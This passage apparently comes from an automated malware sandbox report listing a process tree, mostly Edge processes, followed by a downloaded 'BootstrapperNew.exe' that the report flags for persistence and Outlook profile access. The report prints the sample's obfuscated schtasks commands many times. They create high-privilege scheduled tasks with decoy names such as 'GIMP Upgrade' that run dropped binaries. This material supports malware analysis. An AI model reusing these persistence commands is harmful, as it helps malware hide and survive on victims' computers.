  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2180,13160997000556059584,4671145650416222360,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3396 /prefetch:1
  2⤵
  PID:3220
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2180,13160997000556059584,4671145650416222360,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4796 /prefetch:1
  2⤵
  PID:1568
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2180,13160997000556059584,4671145650416222360,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5076 /prefetch:1
  2⤵
  PID:2380
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2180,13160997000556059584,4671145650416222360,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5732 /prefetch:8
  2⤵
  PID:4344
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2180,13160997000556059584,4671145650416222360,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5732 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1864
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2180,13160997000556059584,4671145650416222360,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4284 /prefetch:1
  2⤵
  PID:4988
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2180,13160997000556059584,4671145650416222360,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=5980 /prefetch:8
  2⤵
  PID:1136
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2180,13160997000556059584,4671145650416222360,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5992 /prefetch:1
  2⤵
  PID:2560
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=2180,13160997000556059584,4671145650416222360,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=6404 /prefetch:8
  2⤵
  PID:2348
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2180,13160997000556059584,4671145650416222360,131072 --lang=en-US --extension-process --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6528 /prefetch:1
  2⤵
  PID:2460
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --field-trial-handle=2180,13160997000556059584,4671145650416222360,131072 --lang=en-US --service-sandbox-type=entity_extraction --mojo-platform-channel-handle=5820 /prefetch:8
  2⤵
  PID:2332
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2180,13160997000556059584,4671145650416222360,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6500 /prefetch:1
  2⤵
  PID:4000
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2180,13160997000556059584,4671145650416222360,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6148 /prefetch:1
  2⤵
  PID:5004
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2180,13160997000556059584,4671145650416222360,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6824 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4012
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2180,13160997000556059584,4671145650416222360,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1276 /prefetch:1
  2⤵
  PID:2780
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2180,13160997000556059584,4671145650416222360,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2040 /prefetch:1
  2⤵
  PID:3048
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2180,13160997000556059584,4671145650416222360,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1168 /prefetch:1
  2⤵
  PID:1692
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2180,13160997000556059584,4671145650416222360,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7056 /prefetch:1
  2⤵
  PID:2524
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2180,13160997000556059584,4671145650416222360,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.4355 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=6456 /prefetch:2
  2⤵
  - Loads dropped DLL
  - Suspicious behavior: EnumeratesProcesses
  PID:2084
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2180,13160997000556059584,4671145650416222360,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3656 /prefetch:1
  2⤵
  PID:1284
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2180,13160997000556059584,4671145650416222360,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=28 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5732 /prefetch:1
  2⤵
  PID:4016
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2180,13160997000556059584,4671145650416222360,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=29 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5912 /prefetch:1
  2⤵
  PID:3012
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2180,13160997000556059584,4671145650416222360,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=28 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5232 /prefetch:1
  2⤵
  PID:1844
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2180,13160997000556059584,4671145650416222360,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=30 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1220 /prefetch:1
  2⤵
  PID:4392
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2180,13160997000556059584,4671145650416222360,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=31 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3152 /prefetch:1
  2⤵
  PID:3620
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2180,13160997000556059584,4671145650416222360,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=32 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5040 /prefetch:1
  2⤵
  PID:3016
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2180,13160997000556059584,4671145650416222360,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=33 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6800 /prefetch:1
  2⤵
  PID:5036
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2180,13160997000556059584,4671145650416222360,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=34 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6104 /prefetch:1
  2⤵
  PID:1536
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2180,13160997000556059584,4671145650416222360,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=35 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6688 /prefetch:1
  2⤵
  PID:1136
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2180,13160997000556059584,4671145650416222360,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=36 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7252 /prefetch:1
  2⤵
  PID:748
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2180,13160997000556059584,4671145650416222360,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=37 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7364 /prefetch:1
  2⤵
  PID:188

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1004

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3836

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:4132

C:\Users\Admin\Downloads\BootstrapperNew.exe
"C:\Users\Admin\Downloads\BootstrapperNew.exe"
1⤵
- Modifies WinLogon for persistence
- Executes dropped EXE
- Accesses Microsoft Outlook profiles
- Drops file in Program Files directory
- Drops file in Windows directory
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1684
- C:\Windows\SYSTEM32\CMD.exe
  "CMD" /C SchTaSKs /CrEAte /F /sc OnLoGoN /rl HighEst /tn "Microsoft Access Update" /tr "C:\Program Files\xdwdWireshark Host.exe" & exit
  2⤵
  PID:2892
- - C:\Windows\system32\schtasks.exe
    SchTaSKs /CrEAte /F /sc OnLoGoN /rl HighEst /tn "Microsoft Access Update" /tr "C:\Program Files\xdwdWireshark Host.exe"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4988
- C:\Windows\SYSTEM32\CMD.exe
  "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST & exit
  2⤵
  PID:5016
- - C:\Windows\system32\schtasks.exe
    SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4160
- C:\Windows\SYSTEM32\CMD.exe
  "CMD" /c SchTaSKs /create /f /sc minute /mo 5 /tn "Microsoft Edge Host" /tr "C:\Users\Public\Pictures\xdwdNode.js.exe" /RL HIGHEST & exit
  2⤵
  PID:1484
- - C:\Windows\system32\schtasks.exe
    SchTaSKs /create /f /sc minute /mo 5 /tn "Microsoft Edge Host" /tr "C:\Users\Public\Pictures\xdwdNode.js.exe" /RL HIGHEST
    3⤵
    PID:1872
- C:\Windows\SYSTEM32\CMD.exe
  "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST & exit
  2⤵
  PID:4720
- - C:\Windows\system32\schtasks.exe
    SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3252
- C:\Windows\SYSTEM32\CMD.exe
  "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST & exit
  2⤵
  PID:5092
- - C:\Windows\system32\schtasks.exe
    SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4460
- C:\Windows\SYSTEM32\CMD.exe
  "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST & exit
  2⤵
  PID:3264
- - C:\Windows\system32\schtasks.exe
    SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5088
- C:\Windows\SYSTEM32\CMD.exe
  "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST & exit
  2⤵
  PID:1128
- - C:\Windows\system32\schtasks.exe
    SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3588
- C:\Windows\SYSTEM32\CMD.exe
  "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST & exit
  2⤵
  PID:1484
- - C:\Windows\system32\schtasks.exe
    SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3324
- C:\Windows\SYSTEM32\CMD.exe
  "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST & exit
  2⤵
  PID:3964
- - C:\Windows\system32\schtasks.exe
    SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1656
- C:\Windows\SYSTEM32\CMD.exe
  "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST & exit
  2⤵
  PID:2920
- - C:\Windows\system32\schtasks.exe
    SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1660
- C:\Windows\SYSTEM32\CMD.exe
  "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST & exit
  2⤵
  PID:4648
- - C:\Windows\system32\schtasks.exe
    SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2216
- C:\Windows\SYSTEM32\CMD.exe
  "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST & exit
  2⤵
  PID:4160
- - C:\Windows\system32\schtasks.exe
    SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4056
- C:\Windows\SYSTEM32\CMD.exe
  "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST & exit
  2⤵
  PID:1256
- - C:\Windows\system32\schtasks.exe
    SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4928
- C:\Windows\SYSTEM32\CMD.exe
  "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST & exit
  2⤵
  PID:544
- - C:\Windows\system32\schtasks.exe
    SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1488
- C:\Windows\SYSTEM32\CMD.exe
  "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST & exit
  2⤵
  PID:840
- - C:\Windows\system32\schtasks.exe
    SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3104
- C:\Windows\SYSTEM32\CMD.exe
  "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST & exit
  2⤵
  PID:768
- - C:\Windows\system32\schtasks.exe
    SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2868
- C:\Windows\SYSTEM32\CMD.exe
  "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST & exit
  2⤵
  PID:2536
- - C:\Windows\system32\schtasks.exe
    SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4912
- C:\Windows\SYSTEM32\CMD.exe
  "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST & exit
  2⤵
  PID:4752
- - C:\Windows\system32\schtasks.exe
    SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2548
- C:\Windows\SYSTEM32\CMD.exe
  "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST & exit
  2⤵
  PID:1304
- - C:\Windows\system32\schtasks.exe
    SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3648
- C:\Windows\SYSTEM32\CMD.exe
  "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST & exit
  2⤵
  PID:3504
- - C:\Windows\system32\schtasks.exe
    SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2028
- C:\Windows\SYSTEM32\CMD.exe
  "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST & exit
  2⤵
  PID:4276
- - C:\Windows\system32\schtasks.exe
    SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4964
- C:\Windows\SYSTEM32\CMD.exe
  "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST & exit
  2⤵
  PID:2792
- - C:\Windows\system32\schtasks.exe
    SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST
    3⤵
    PID:452
- C:\Windows\SYSTEM32\CMD.exe
  "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST & exit
  2⤵
  PID:4784
- - C:\Windows\system32\schtasks.exe
    SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2156
- C:\Windows\SYSTEM32\CMD.exe
  "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST & exit
  2⤵
  PID:4424
- - C:\Windows\system32\schtasks.exe
    SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1032
- C:\Windows\SYSTEM32\CMD.exe
  "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST & exit
  2⤵
  PID:2536
- - C:\Windows\system32\schtasks.exe
    SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST
    3⤵
    PID:3204
- C:\Windows\SYSTEM32\CMD.exe
  "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST & exit
  2⤵
  PID:3580
- - C:\Windows\system32\schtasks.exe
    SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST
    3⤵
    PID:1552
- C:\Windows\SYSTEM32\CMD.exe
  "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST & exit
  2⤵
  PID:2156
- - C:\Windows\system32\schtasks.exe
    SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3324
- C:\Windows\SYSTEM32\CMD.exe
  "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST & exit
  2⤵
  PID:1388
- - C:\Windows\system32\schtasks.exe
    SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST
    3⤵
    PID:4948
- C:\Windows\SYSTEM32\CMD.exe
  "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST & exit
  2⤵
  PID:3076
- - C:\Windows\system32\schtasks.exe
    SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3864
- C:\Windows\SYSTEM32\CMD.exe
  "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST & exit
  2⤵
  PID:748
- - C:\Windows\system32\schtasks.exe
    SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4460
- C:\Windows\SYSTEM32\CMD.exe
  "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "GIMP Upgrade" /tr "C:\Program Files\xdwdWireshark Host.exe" /RL HIGHEST & exit
  2⤵
  PID:2264
- - C:\Windows\system32\schtasks.exe
